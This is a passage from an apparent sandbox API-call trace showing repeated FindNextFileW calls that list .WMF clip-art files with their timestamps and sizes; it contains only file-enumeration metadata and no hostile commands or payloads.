ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1 [0273.628] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1 [0273.628] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1 [0273.630] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1 [0273.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1 [0273.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1 [0273.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1 [0273.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1 [0273.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1 [0273.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1 [0273.632] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1 [0273.632] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1 [0273.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1 [0273.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1 [0273.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1 [0273.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1 [0273.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1 [0273.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1 [0273.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1 [0273.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1 [0273.778] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1 [0273.778] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1 [0273.778] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1 [0273.779] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1 [0273.779] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1 [0273.779] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1 [0273.779] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1 [0273.779] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1 [0273.779] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, 